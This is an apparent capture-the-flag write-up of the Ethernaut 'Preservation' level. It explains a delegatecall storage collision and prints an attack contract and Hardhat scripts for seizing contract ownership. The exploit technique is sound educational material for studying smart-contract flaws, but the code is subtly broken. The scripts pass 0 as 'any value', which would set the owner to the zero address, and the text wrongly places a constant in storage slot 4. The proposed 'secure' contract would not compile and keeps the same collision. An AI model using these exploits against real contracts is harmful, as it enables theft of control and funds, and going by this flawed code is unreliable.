March 18, 2024

Preservation Challenge - Ethernaut Level 16

15 min readDifficulty: Hard

Challenge Description

DelegatecallStorage LayoutLibrariesLevel 16

Challenge Goal

Claim ownership of the Preservation contract instance by exploiting delegatecall and storage layout vulnerabilities. You need to understand how delegatecall preserves context and how storage variables are accessed.

Challenge Instructions

Goal: This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored. The goal of this level is for you to claim ownership of the instance you are given.

Things that might help:

  • • Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
  • • Understanding what it means for delegatecall to be context-preserving.
  • • Understanding how storage variables are stored and accessed.
  • • Understanding how casting works between different data types.

The Contract

Here's the smart contract we'll be exploiting:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
    // public library contracts
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint256 storedTime;
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

    constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
        timeZone1Library = _timeZone1LibraryAddress;
        timeZone2Library = _timeZone2LibraryAddress;
        owner = msg.sender;
    }

    // set the time for timezone 1
    function setFirstTime(uint256 _timeStamp) public {
        timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }

    // set the time for timezone 2
    function setSecondTime(uint256 _timeStamp) public {
        timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }
}

// Simple library contract to set the time
contract LibraryContract {
    // stores a timestamp
    uint256 storedTime;

    function setTime(uint256 _time) public {
        storedTime = _time;
    }
}

Understanding the Contract

Let's break down how this contract works:

  1. State Variables: The contract has five state variables:
    • timeZone1Library (address): Address of the first timezone library
    • timeZone2Library (address): Address of the second timezone library
    • owner (address): The contract owner
    • storedTime (uint256): A timestamp storage variable
    • setTimeSignature (bytes4): Function signature for setTime
  2. Constructor: Sets up the two library addresses and sets the deployer as owner
  3. Functions: The contract has two functions:
    • setFirstTime: Uses delegatecall to call setTime on timeZone1Library
    • setSecondTime: Uses delegatecall to call setTime on timeZone2Library

The vulnerability lies in understanding how delegatecall works and how storage layout affects the execution context.

Understanding Delegatecall

Delegatecall is a low-level function that allows a contract to execute code from another contract while preserving the original contract's context:

Key Properties of Delegatecall

  • Context Preservation: The code executes in the context of the calling contract
  • Storage Access: The called contract accesses the storage of the calling contract
  • msg.sender: Remains the original caller, not the calling contract
  • Storage Layout: Storage slots are accessed based on the calling contract's layout

Storage Layout Analysis

// Preservation contract storage layout:
Slot 0: timeZone1Library (address) - 20 bytes, padded to 32 bytes
Slot 1: timeZone2Library (address) - 20 bytes, padded to 32 bytes  
Slot 2: owner (address) - 20 bytes, padded to 32 bytes
Slot 3: storedTime (uint256) - 32 bytes
Slot 4: setTimeSignature (bytes4) - 4 bytes, padded to 32 bytes

// LibraryContract storage layout:
Slot 0: storedTime (uint256) - 32 bytes

// When delegatecall is used, the library's setTime function
// will write to slot 0 of the Preservation contract's storage,
// which is timeZone1Library, not storedTime!

The Vulnerability

The vulnerability is a storage layout collision between the Preservation contract and the LibraryContract:

  • Storage Mismatch: The library's storedTime is at slot 0, but the Preservation contract's storedTime is at slot 3
  • Delegatecall Context: When the library's setTime function executes via delegatecall, it writes to slot 0 of the Preservation contract
  • Owner Overwrite: Slot 0 in the Preservation contract is timeZone1Library, not storedTime
  • Exploitation Path: We can overwrite timeZone1Library with our malicious contract address

The Exploit

To exploit this contract, we need to:

Steps to Exploit:

  1. Deploy a malicious contract that has the same storage layout as the library but with a malicious setTime function
  2. Call setFirstTime with our malicious contract's address to overwrite timeZone1Library
  3. Call setFirstTime again to execute our malicious code and claim ownership

Malicious Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PreservationAttack {
    // This must match the storage layout of LibraryContract
    uint256 storedTime;
    
    // This function will be called via delegatecall
    // It will write to slot 0 of the Preservation contract
    function setTime(uint256 _time) public {
        // The _time parameter will be our address
        // We need to cast it to address and store it
        address newOwner = address(uint160(_time));
        
        // Assembly to directly write to storage slot 2 (owner)
        assembly {
            // Store the new owner at storage slot 2
            sstore(2, newOwner)
        }
    }
}

Understanding the Attack

The attack works because of how delegatecall and storage layout interact:

// Attack flow:
// 1. Deploy PreservationAttack contract
// 2. Call setFirstTime(attackContractAddress) 
//    - This calls LibraryContract.setTime via delegatecall
//    - LibraryContract.setTime writes to slot 0 of Preservation
//    - This overwrites timeZone1Library with our attack contract address
// 3. Call setFirstTime(anyValue) again
//    - This now calls our attack contract's setTime via delegatecall
//    - Our setTime function writes to slot 2 (owner) of Preservation
//    - We become the owner!

Complete Exploit Script

// Complete exploit script
const { ethers } = require("hardhat");

async function main() {
  const preservationAddress = "INSTANCE_ADDRESS";
  
  console.log("Preservation address:", preservationAddress);
  
  // Deploy the attack contract
  const PreservationAttack = await ethers.getContractFactory("PreservationAttack");
  const attackContract = await PreservationAttack.deploy();
  await attackContract.deployed();
  console.log("Attack contract deployed at:", attackContract.address);
  
  // Get the current owner
  const preservation = await ethers.getContractAt("Preservation", preservationAddress);
  const initialOwner = await preservation.owner();
  console.log("Initial owner:", initialOwner);
  
  // Step 1: Overwrite timeZone1Library with our attack contract address
  console.log("Step 1: Overwriting timeZone1Library...");
  const attackAddress = ethers.BigNumber.from(attackContract.address);
  const tx1 = await preservation.setFirstTime(attackAddress);
  await tx1.wait();
  console.log("timeZone1Library overwritten!");
  
  // Verify the overwrite
  const newLibrary = await preservation.timeZone1Library();
  console.log("New timeZone1Library:", newLibrary);
  
  // Step 2: Call setFirstTime again to execute our malicious code
  console.log("Step 2: Executing attack...");
  const tx2 = await preservation.setFirstTime(0); // Any value works
  await tx2.wait();
  console.log("Attack executed!");
  
  // Verify the attack worked
  const finalOwner = await preservation.owner();
  console.log("Final owner:", finalOwner);
  
  const playerAddress = await ethers.getSigner().getAddress();
  if (finalOwner === playerAddress) {
    console.log("✅ Successfully became the owner!");
  } else {
    console.log("❌ Attack failed");
  }
}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

Understanding Storage Layout in Detail

The key to this exploit is understanding how storage layout works:

Storage Slot Calculation

// Storage layout comparison:

// Preservation contract:
// Slot 0: timeZone1Library (address)
// Slot 1: timeZone2Library (address)  
// Slot 2: owner (address)
// Slot 3: storedTime (uint256)
// Slot 4: setTimeSignature (bytes4)

// LibraryContract:
// Slot 0: storedTime (uint256)

// When LibraryContract.setTime is called via delegatecall:
// - It thinks it's writing to its own storedTime (slot 0)
// - But it's actually writing to Preservation's timeZone1Library (slot 0)
// - This creates a storage collision!

Assembly Code Explanation

The assembly code in our attack contract directly manipulates storage:

// Assembly code breakdown:
assembly {
    // sstore(2, newOwner) - Store newOwner at storage slot 2
    // Slot 2 in Preservation contract is the owner variable
    sstore(2, newOwner)
}

// This bypasses any access controls and directly writes to storage
// It's equivalent to: owner = newOwner;

Alternative Attack Vectors

There are several ways to exploit this contract:

Method 1: Direct Storage Manipulation

// Attack contract with direct storage manipulation
contract PreservationAttack {
    uint256 storedTime;
    
    function setTime(uint256 _time) public {
        // Cast the input to an address and store it at slot 2
        address newOwner = address(uint160(_time));
        assembly {
            sstore(2, newOwner)
        }
    }
}

Method 2: Using a Proxy Pattern

// Alternative attack using a proxy pattern
contract PreservationProxy {
    uint256 storedTime;
    address public target;
    
    constructor(address _target) {
        target = _target;
    }
    
    function setTime(uint256 _time) public {
        // First, set the target contract
        target = address(uint160(_time));
        
        // Then call the target to claim ownership
        (bool success,) = target.call(abi.encodeWithSignature("setTime(uint256)", _time));
        require(success, "Call failed");
    }
}

Testing the Exploit

You can test the exploit using various tools:

Using Remix IDE

  1. Deploy the Preservation contract with two LibraryContract instances
  2. Deploy the PreservationAttack contract
  3. Call setFirstTime with the attack contract's address
  4. Call setFirstTime again with any value
  5. Check that the owner has changed

Using Hardhat

// Test script
const { ethers } = require("hardhat");

async function testPreservation() {
  // Deploy library contracts
  const LibraryContract = await ethers.getContractFactory("LibraryContract");
  const lib1 = await LibraryContract.deploy();
  const lib2 = await LibraryContract.deploy();
  
  // Deploy preservation contract
  const Preservation = await ethers.getContractFactory("Preservation");
  const preservation = await Preservation.deploy(lib1.address, lib2.address);
  
  // Deploy attack contract
  const PreservationAttack = await ethers.getContractFactory("PreservationAttack");
  const attack = await PreservationAttack.deploy();
  
  console.log("Initial owner:", await preservation.owner());
  
  // Execute attack
  await preservation.setFirstTime(attack.address);
  await preservation.setFirstTime(0);
  
  console.log("Final owner:", await preservation.owner());
}

testPreservation();

Security Lessons

  • Storage Layout: Always ensure storage layout compatibility when using delegatecall
  • Delegatecall Dangers: Delegatecall can be dangerous when storage layouts don't match
  • Library Security: Libraries should be carefully designed to avoid storage conflicts
  • Access Controls: Direct storage manipulation can bypass access controls
  • Context Preservation: Understand that delegatecall preserves the calling contract's context

Prevention

Here's how you could improve this contract to make it more secure:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";

contract SecurePreservation is Ownable {
    // Use a struct to group related data
    struct TimeZone {
        address library;
        uint256 storedTime;
    }
    
    TimeZone public timeZone1;
    TimeZone public timeZone2;
    
    event TimeSet(uint256 indexed timezone, uint256 timestamp);
    
    constructor(address _timeZone1Library, address _timeZone2Library) {
        timeZone1.library = _timeZone1Library;
        timeZone2.library = _timeZone2Library;
    }
    
    // Use a more secure approach with explicit storage mapping
    function setFirstTime(uint256 _timestamp) external {
        // Validate the library exists
        require(timeZone1.library != address(0), "Library not set");
        
        // Use a more secure delegatecall pattern
        (bool success, bytes memory data) = timeZone1.library.delegatecall(
            abi.encodeWithSignature("setTime(uint256)", _timestamp)
        );
        require(success, "Delegatecall failed");
        
        // Update our storage explicitly
        timeZone1.storedTime = _timestamp;
        emit TimeSet(1, _timestamp);
    }
    
    function setSecondTime(uint256 _timestamp) external {
        require(timeZone2.library != address(0), "Library not set");
        
        (bool success, bytes memory data) = timeZone2.library.delegatecall(
            abi.encodeWithSignature("setTime(uint256)", _timestamp)
        );
        require(success, "Delegatecall failed");
        
        timeZone2.storedTime = _timestamp;
        emit TimeSet(2, _timestamp);
    }
    
    // Add getter functions
    function getFirstTime() external view returns (uint256) {
        return timeZone1.storedTime;
    }
    
    function getSecondTime() external view returns (uint256) {
        return timeZone2.storedTime;
    }
}

The improved contract:

  • Uses OpenZeppelin's Ownable for secure ownership management
  • Groups related data in structs to avoid storage conflicts
  • Explicitly updates storage after delegatecall
  • Adds proper error handling and events
  • Includes validation for library addresses

Alternative Solutions

For applications that require library functionality, consider:

  • Storage Libraries: Use libraries that don't have their own storage
  • Proxy Patterns: Use established proxy patterns with proper storage management
  • Interface Contracts: Use interfaces instead of delegatecall when possible
  • Storage Gaps: Use storage gaps to prevent layout conflicts
  • Upgradeable Contracts: Use established upgradeable contract patterns

Conclusion

The Preservation challenge is an excellent lesson in understanding delegatecall and storage layout vulnerabilities. It demonstrates how seemingly innocent library usage can lead to critical security flaws.

The key takeaways are:

  • Delegatecall Context: Delegatecall preserves the calling contract's context, including storage
  • Storage Layout: Storage layout mismatches can lead to critical vulnerabilities
  • Library Security: Libraries must be carefully designed to avoid storage conflicts
  • Assembly Dangers: Direct storage manipulation can bypass security controls
  • Defense in Depth: Multiple layers of security are needed to prevent such attacks

When designing contracts that use delegatecall, always ensure storage layout compatibility and consider using established patterns and libraries to avoid common pitfalls.

Your Notes